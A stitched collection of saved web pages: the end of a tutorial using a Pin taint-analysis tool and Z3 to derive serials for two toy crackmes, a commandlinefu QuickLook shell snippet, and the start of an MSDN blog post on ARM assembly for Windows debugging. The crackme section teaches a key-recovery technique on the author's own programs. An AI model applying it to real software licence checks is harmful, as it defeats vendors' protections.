    [READ in 7fff194a6600]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x78
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000061))
    (define-fun x () (_ BitVec 32)
      #x00000061)
    The good value is 0x61
    [Z3 Solver]-------------------------------------
    [SPREAD]                40068e: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
[/code]

Z3 tries to solve this equation `(= x #x00000061))` and finds that the result
is `0x61`. At this time, the Pin tool writes the good character \(0x61\) in
our serial.txt.

#### 3.4 - Demo on the first crackme

To solve this crackme and to generate the good serial.txt, we need to run
three times this Pin tool. For each execution, one character is found and
written in the serial file.

[code]

    $ printf "xxx" > serial.txt
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff065b1ab0 to 0x7fff065b1bb0 (via read)
    [READ in 7fff065b1ab0]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x78
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000061))
    (define-fun x () (_ BitVec 32)
      #x00000061)
    The good value is 0x61
    [Z3 Solver]-------------------------------------
    [SPREAD]                40068e: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
    $ cat serial.txt
    a%
    
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff0c1677a0 to 0x7fff0c1678a0 (via read)
    [READ in 7fff0c1677a0]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x61
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000061))
    (define-fun x () (_ BitVec 32)
      #x00000061)
    The good value is 0x61
    [Z3 Solver]-------------------------------------
    [READ in 7fff0c1677a1]  400695: movzx eax, byte ptr [rbp-0x10f]
    [Constraint]            #1 = 0x00
                            eax is already tainted
    [FOLLOW]                40069c: cmp al, 0x62
    [Equation]              cmp(#1, 0x62)
    [Equation]              cmp(cmp(x, 0x61), 0x62)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000062))
    (define-fun x () (_ BitVec 32)
      #x00000062)
    The good value is 0x62
    [Z3 Solver]-------------------------------------
    [SPREAD]                4006a0: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
    $ cat serial.txt
    ab%
    
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff4acd2e60 to 0x7fff4acd2f60 (via read)
    [READ in 7fff4acd2e60]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x61
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000061))
    (define-fun x () (_ BitVec 32)
      #x00000061)
    The good value is 0x61
    [Z3 Solver]-------------------------------------
    [READ in 7fff4acd2e61]  400695: movzx eax, byte ptr [rbp-0x10f]
    [Constraint]            #1 = 0x62
                            eax is already tainted
    [FOLLOW]                40069c: cmp al, 0x62
    [Equation]              cmp(#1, 0x62)
    [Equation]              cmp(cmp(x, 0x61), 0x62)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000062))
    (define-fun x () (_ BitVec 32)
      #x00000062)
    The good value is 0x62
    [Z3 Solver]-------------------------------------
    [READ in 7fff4acd2e62]  4006a7: movzx eax, byte ptr [rbp-0x10e]
    [Constraint]            #2 = 0x00
                            eax is already tainted
    [FOLLOW]                4006ae: cmp al, 0x63
    [Equation]              cmp(#2, 0x63)
    [Equation]              cmp(cmp(cmp(x, 0x61), 0x62), 0x63)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000063))
    (define-fun x () (_ BitVec 32)
      #x00000063)
    The good value is 0x63
    [Z3 Solver]-------------------------------------
    [SPREAD]                4006b2: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
    $ cat serial.txt
    abc%
    
    $ ./crackme1
    Good boy
    
[/code]

#### 3.5 - Another crackme using XOR-based algorithm

To complicate things a bit, let's use this following dumb crackme using an
XOR-based algorithm.

[code]

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <fcntl.h>
    
    char *serial = "\x30\x39\x3c\x21\x30";
    
    int main(void)
    {
      int fd, i = 0;
      char buf[260] = {0};
      char *r = buf;
    
      fd = open("serial.txt", O_RDONLY);
      read(fd, r, 256);
      close(fd);
      while (i < 5){
        if ((*r ^ (0x55)) != *serial)
          return 0;
        r++, serial++, i++;
      }
      if (!*r)
        printf("Good boy\n");
      return 0;
    }
    
[/code]

This code reads and applies an XOR with the constant key "0x55" on each
character in the serial file. Then, it checks the result with a constant
string serial. This code is intersting to study the execution concolic,
because we have a simple algorithm. On the following CFG, the blue blox is our
algorithm.

<img src='img/Temp2_10626.png' width='600' height='605' alt='CFG' />

Now. let's see what happens when we taint and follow our datas from the serial
file.

[code]

    $ printf "xxx" > ./serial.txt
    $ ../../../pin -t obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme2
    [TAINT]                 bytes tainted from 0x7fff3cab6cc0 to 0x7fff3cab6dc0 (via read)
    [READ in 7fff3cab6cc0]  400698: movzx eax, byte ptr [rax]
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [FOLLOW]                4195997: xor edx, 0x55
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [SPREAD]                7feb884e67db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
[/code]

Same for the first example, we need to assign a unique constraint for each
spread. Then, when the **cmp** instruction occurs, we need to solve the
equation via Z3.

[code]

    $ ../../../pin -t obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme2
    [TAINT]                 bytes tainted from 0x7fff3cab6cc0 to 0x7fff3cab6dc0 (via read)
    [READ in 7fff3cab6cc0]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x61
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [SPREAD]                7feb884e67db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    e%
    $
    
[/code]

As you can see above, my constraint on the **xor** instruction looks like
that: `xor(#1, 0x55)`, it means we need to display/follow all ALU operations
on a specific convention. Like:

[code]

    add(a, b)
    sub(a, b)
    mul(a, b)
    div(a, b)
    xor(a, b)
    ...
    
[/code]

This is a real problem with Pin. Because it doesn't provide an IR, we need to
implement all operations. For example, with the **xor** instruction, we need
to catch these following encoding:

[code]

    xor reg, reg         
    xor mem, reg         
    xor reg, mem         
    xor reg, immed       
    xor mem, immed       
    xor accum, immed
    
[/code]

Then, when we need to build our equation like `cmp(#2, 0x30)`, we need to
replace the constraint number by its content - And for that we will use the
constraints table.

<img src='img/Temp2_10629.png' width='400' height='235' alt='equation
mutation' />

After the first constraint solved, we set the first character in the serial
file and we re-run the Pin tool to solve the second constraint. We repeat this
operation until all constraints are solved. The following diagram represent
our executions. As you can see, for each execution, only one constraint is
solved.

<img src='img/Temp2_10627.png' width='500' height='401' alt='concolic
execution' />

And the full result which generates a valide file key is pasted below. As you
can see, for each execution, one character is found until the valide key.

[code]

    $ printf "xxx" > ./serial.txt
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff2d60e7d0 to 0x7fff2d60e8d0 (via read)
    [READ in 7fff2d60e7d0]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x41
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [SPREAD]                7ff3541837db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    e%
    
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff6d1f8730 to 0x7fff6d1f8830 (via read)
    [READ in 7fff6d1f8730]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x65
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [READ in 7fff6d1f8731]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #3 = 0x00
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #4 = #3
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #5 = xor(#4, 0x55)
    [READ in 4007ed]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#5, 0x39)
    [Equation]              cmp(xor(x, 0x55), 0x39)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000039))
    (define-fun x () (_ BitVec 32)
      #x0000006c)
    The good value is 0x6c
    [Z3 Solver]-------------------------------------
    [SPREAD]                7fe0b6aa47db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    el%
    
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff2d1e1e00 to 0x7fff2d1e1f00 (via read)
    [READ in 7fff2d1e1e00]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x65
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [READ in 7fff2d1e1e01]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #3 = 0x6c
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #4 = #3
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #5 = xor(#4, 0x55)
    [READ in 4007ed]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#5, 0x39)
    [Equation]              cmp(xor(x, 0x55), 0x39)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000039))
    (define-fun x () (_ BitVec 32)
      #x0000006c)
    The good value is 0x6c
    [Z3 Solver]-------------------------------------
    [READ in 7fff2d1e1e02]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #6 = 0x00
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #7 = #6
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #8 = xor(#7, 0x55)
    [READ in 4007ee]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#8, 0x3c)
    [Equation]              cmp(xor(x, 0x55), 0x3c)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x0000003c))
    (define-fun x () (_ BitVec 32)
      #x00000069)
    The good value is 0x69
    [Z3 Solver]-------------------------------------
    [SPREAD]            7f7e919ef7db: mov edx, 0x1
                        output: edx | input: constant
                        edx is now freed
    
    $ cat serial.txt
    eli%
    
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff597b37a0 to 0x7fff597b38a0 (via read)
    [READ in 7fff597b37a0]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x65
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [READ in 7fff597b37a1]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #3 = 0x6c
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #4 = #3
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #5 = xor(#4, 0x55)
    [READ in 4007ed]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#5, 0x39)
    [Equation]              cmp(xor(x, 0x55), 0x39)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000039))
    (define-fun x () (_ BitVec 32)
      #x0000006c)
    The good value is 0x6c
    [Z3 Solver]-------------------------------------
    [READ in 7fff597b37a2]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #6 = 0x69
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #7 = #6
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #8 = xor(#7, 0x55)
    [READ in 4007ee]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#8, 0x3c)
    [Equation]              cmp(xor(x, 0x55), 0x3c)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x0000003c))
    (define-fun x () (_ BitVec 32)
      #x00000069)
    The good value is 0x69
    [Z3 Solver]-------------------------------------
    [READ in 7fff597b37a3]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #9 = 0x00
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #10 = #9
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #11 = xor(#10, 0x55)
    [READ in 4007ef]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#11, 0x21)
    [Equation]              cmp(xor(x, 0x55), 0x21)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000021))
    (define-fun x () (_ BitVec 32)
      #x00000074)
    The good value is 0x74
    [Z3 Solver]-------------------------------------
    [SPREAD]                7f9ac23db7db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    elit%
    
    $ ../../../pin -t ./obj-intel64/ConcolicExecution.so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff313be550 to 0x7fff313be650 (via read)
    [READ in 7fff313be550]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x65
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [READ in 7fff313be551]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #3 = 0x6c
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #4 = #3
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #5 = xor(#4, 0x55)
    [READ in 4007ed]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#5, 0x39)
    [Equation]              cmp(xor(x, 0x55), 0x39)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000039))
    (define-fun x () (_ BitVec 32)
      #x0000006c)
    The good value is 0x6c
    [Z3 Solver]-------------------------------------
    [READ in 7fff313be552]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #6 = 0x69
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #7 = #6
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #8 = xor(#7, 0x55)
    [READ in 4007ee]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#8, 0x3c)
    [Equation]              cmp(xor(x, 0x55), 0x3c)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x0000003c))
    (define-fun x () (_ BitVec 32)
      #x00000069)
    The good value is 0x69
    [Z3 Solver]-------------------------------------
    [READ in 7fff313be553]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #9 = 0x74
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #10 = #9
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #11 = xor(#10, 0x55)
    [READ in 4007ef]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#11, 0x21)
    [Equation]              cmp(xor(x, 0x55), 0x21)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000021))
    (define-fun x () (_ BitVec 32)
      #x00000074)
    The good value is 0x74
    [Z3 Solver]-------------------------------------
    [READ in 7fff313be554]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #12 = 0x00
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #13 = #12
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #14 = xor(#13, 0x55)
    [READ in 4007f0]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#14, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [SPREAD]                7f0d00e1f7db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    elite%
    
    $ ./crackme1
    Good boy
    
[/code]

### 4 - Conclusion

I think that the concolic execution is a great technique and it need to be
investigated and improved. I hope that more and more people will look into it.
Also, I think it isn't a good idea to do a concolic execution with a DBI
\(Dynamic Binary Instrumentation\) without intermediate language like Pin.
Why? Because without IR, you need to implement all instructions set and their
different encodings. This is possible but that's really boring and you can
forget an operation... To the theorem solver conclusion, I'm not a Z3 expert,
I do know it's used internally by Microsoft for a lot of purpose \(I guess
they got pretty big equations\), but I have only used it with toy-equations,
so I can't really say.

#### 4.1 - My Pin tool

First of all, my Pin tool is **not** reliable and it works only with the above
examples... I only implemented the instruction necessary for my examples
\(mov, cmp, xor\). So, if you want use it, you need to implement all the x86
instructions... This Pin tool is just a PoC but it can give you a base to your
project. The sources are here.

#### 4.2 - References

  * Pin API
  * Z3 C++ API
  * Taint analysis and pattern matching with Pin
  * Concolic execution - Taint analysis with Valgrind and constraints path solver with Z3

#### 4.3 - Special thanks

I would like to thanks Axel "0vercl0k" Souchet for his skills in Z3 and
proofreading.

  

# Use QuickLook from the command line without verbose output | commandlinefu.com
**Created:**| _6/18/2009 10:47:22 PM_  
---|---  
**Updated:**| _6/18/2009 10:47:27 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

# Use QuickLook from the command line without verbose output

<img src='img/Temp2_8748.gif' /> Terminal - Use QuickLook from the command
line without verbose output

qlook\(\) \{ qlmanage -p "$@" >& /dev/null & \}

This is sample output - yours may be different.

2009-06-17 16:02:34

User: mikedamage

0

Up  
Down

Use QuickLook from the command line without verbose output

Add to favourites | Report as malicious

# Understanding ARM Assembly Part 1 - Ntdebugging Blog - Site Home - MSDN
Blogs

**Created:**| _12/3/2013 8:54:05 AM_  
---|---  
**Updated:**| _12/3/2013 8:54:05 AM_  
**Author:**| __  
**Tags:**| _asm arm_  
  

# **U** nderstanding ARM Assembly Part 1****

ntdebug

22 Nov 2013 3:38 PM

My name is Marion Cole, and I am a Sr. EE in Microsoft Platforms
Serviceability group**.** You may be wondering why Microsoft support would
need to know ARM assembly**.** Doesn’t Windows only run on x86 and x64
machines? No**.** Windows has ran on a variety of processors in the past**.**
Those include i860, Alpha, MIPS, Fairchild Clipper, PowerPC, Itanium, SPARC,
286, 386, IA-32, x86, x64, and the newest one is ARM**.** Most of these
processors are antiquated now. The common ones now are IA-32, x86, x64**.**
However Windows has started supporting ARM processors in order to jump into
the portable devices arena**.** You will find them in the Microsoft Surface
RT, Windows Phones, and other things in the future I am sure**.** So you may
be saying that these devices are locked, and cannot be debugged**.** That is
true from a live debug perspective, but you can get memory dumps and
application dumps from them and those can be debugged**.**

**Processor**

There are limitations on ARM processors that Windows supports**.** There are 3
System on Chip \(SOC\) vendors that are supported**.** nVidia, Texas-
Instruments, and Qualcomm. Windows only supports the ARMv7 \(Cortex,
Scorpion\) architecture in ARMv7-A in \(Application Profile\) mode**.** This
implements a traditional ARM architecture with multiple modes and supporting a
Virtual Memory System Architecture \(VMSA\) based on an MMU**.** It supports
the ARM and Thumb-2 instruction sets which allows for a mixture of 16
\(Thumb\) and 32 \(ARM\) bit opcodes**.** So it will look strange in the
assembly. Luckily the debuggers know this and handle it for you**.** This also
helps to shrink the size of the assembly code in memory**.** The processor
also has to have the Optional ISA extensions of VFP \(Hardware Floating
Point\) and NEON \(128-bit SIMD Architecture\)**.**

In order to understand the assembly that you will see you need to understand
the processor internals**.**

ARM is a Reduced Instruction Set Computer \(RISC\) much like some of the
previous processors that Windows ran on**.** It is a 32 bit load/store style
processor. It has a “Weakly-ordered” memory model: similar to Alpha and IA64,
and it requires specific memory barriers to enforce ordering**.** In ARM
devices these as ISB, DSB, and DMB instructions**.**

**Registers**

The processor has 16 available registers r0 – r15**.**

0: kd> r

r0=00000001 r1=00000000 r2=00000000 r3=00000000 r4=e1820044 r5=e17d0580

r6=00000001 r7=e17f89b9 r8=00000002 r9=00000000 r10=1afc38ec r11=e1263b78

r12=e127813c sp=e1263b20 lr=e16c12c3 pc=e178b6d0 psr=00000173 ----- Thumb

r0, r1, r2, r3, and r12 are volatile registers**.** Volatile registers are
scratch registers presumed by the caller to be destroyed across a call**.**
Nonvolatile registers are required to retain their values across a function
call and must be saved by the callee if used**.**

On Windows four of these registers have a designated purpose**.** Those are:

  * PC \(r15\) – Program Counter \(EIP on x86\)
  * LR \(r14\) – Link Register**.** Used as a return address to the caller.
  * SP \(r13\) – Stack Pointer \(ESP on x86\)**.**
  * R11 – Frame Pointer \(EBP on x86\)**.**
  * CPSR – Current Program Status Register \(Flags on x86\)**.**

In Windbg all but r11 will be labeled appropriately for you**.** So you may be
asking why r11 is not labeled “fp” in the debugger**.** That is because r11 is
only used as a frame pointer when you are calling a non-leaf subroutine**.**
The way it works is this: when a call to a non-leaf subroutine is made, the
called subroutine pushes the value of the previous frame pointer \(in r11\) to
the stack \(right after the lr\) and then r11 is set to point to this location
in the stack, so eventually we end up with a linked list of frame pointers in
the stack that easily enables the construction of the call stack**.** The
frame pointer is not pushed to the stack in leaf functions**.** Will discuss
leaf functions later.

**CPSR \(Current Program Status Register\)**

Now we need to understand some about the CPSR register**.** Here is the bit
breakdown:

|  |  |  |  |  |  |  Reserved |  |  |  |  |  |  |  |   
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---  
  * Bits \[31:28\] – Condition Code Flags

  * N – bit 31 – If this bit is set, the result was negative**.** If bit is cleared the result was positive or zero**.**
  * Z – bit 30 – If set this bit indicates the result was zero or values compared were equal**.** If it is cleared, the value is non-zero or the compared values are not equal**.**
  * C – bit 29 – If this bit is set the instruction resulted in a carry condition**.** E.g. Adding two unsigned values resulted in a value too large to be strored**.**
  * V – bit 28 – If this bit is set then the instruction resulted in an overflow condition**.** E.g. An overflow of adding two signed values**.**

  * Instructions variants ending with ‘s’ set the condition codes \(mov/movs\)
  * E – bit 9 – Endianness \(big = 1/Little = 0\)
  * T – bit 5 – Set if executing Thumb instructions
  * M – bits \[4:0\] – CPU Mode \(User 10000/Supervisor 10011\)

So why do I need to know about the CPSR \(Current Program Status
Register\)**?** You will need to know where some of these bits are due to how
some of the assembly instruction affect these flags**.** Example of this is:

ADD will add two registers together, or add an immediate value to a
register**.** However it will not affect the flags**.**

ADDS will do the same as ADD, but it does affect the flags**.**

MOV will allow you to move a value into a register, and a value between
registers**.** This is not like the x86/x64. MOV will not let you read or
write to memory**.** This does not affect the flags.

MOVS does the same thing as MOV, but it does affect the flags**.**

I hope you are seeing a trend here**.** There are instructions that will look
the same**.** However if they end in “S” then you need to know that this will
affect the flags**.** I am not going to list all of those assembly
instructions here**.** Those are already listed in the ARM Architecture
Reference Manual ARMv7-A and ARMv7-R edition at
http://infocenter.arm.com/help/topic/com.arm.doc.ddi0406b/index.html **.**

So now we have an idea of what can set the flags**.** Now we need to
understand what the flags are used for**.** They are mainly used for branching
instructions**.** Here is an example:

003a11d2 429a cmp r2,r3

003a11d4 d104 bne |MyApp**\!** FirstFunc+0x28 \(003a11e0\)|

The first instruction in this code \(cmp\) compares the value stored in
register r2 to the value stored in register r3**.** This comparison
instruction sets or resets the Z flag in the CPSR register**.** The second
instruction is a branch instruction \(b\) with the condition code ne which
means that if the result of the previous comparison was that the values are
not equal \(the CPSR flag Z is zero\) then branch to the address MyApp**\!**
FirstFunc+0x28 \(003a11e0\). Otherwise the execution continues**.**

There are a few compare instructions**.** “cmp” subtracts two register values,
sets the flags, and discards the result**.** “cmn” adds two register values,
sets the flags, and discards the results**.** “tst” does a bit wise AND of two
register values, sets the flags, and discards the results**.** There is even
an If Then \(it\) instruction. I am not going to discuss that one here as I
have never seen it in any of the Windows code**.**

So is “bne” the only branch instruction**?** No**.** There is a lot of them.
Here is a table of things that can be seen beside “b”, and what they check the
CPSR register:

**Mnemonic** **Extension** |  **Meaning \(Integer\)** |  **Condition Flags \(in CPSR\)**  
---|---|---  
|  Equal |   
|  Not Equal |   
|  Negative \(Minus\) |   
|  Positive or Zero \(Plus\) |   
|  Unsigned higher |  C==1 and Z==0  
|  Unsigned lower or same |  C==0 or Z==1  
|  Signed greater than or equal |   
|  Signed less than |   
|  Signed greater than |  Z==0 and N==V  
|  Signed less than or equal |  Z==1 or N**\!** =V  
|  Overflow |   
|  No overflow |   
|  Carry set |   
|  Carry clear |   
None \(AL\) |  Execute always |   
**Floating Point Registers**

As mentioned earlier the processor also has to have the ISA extensions of VFP
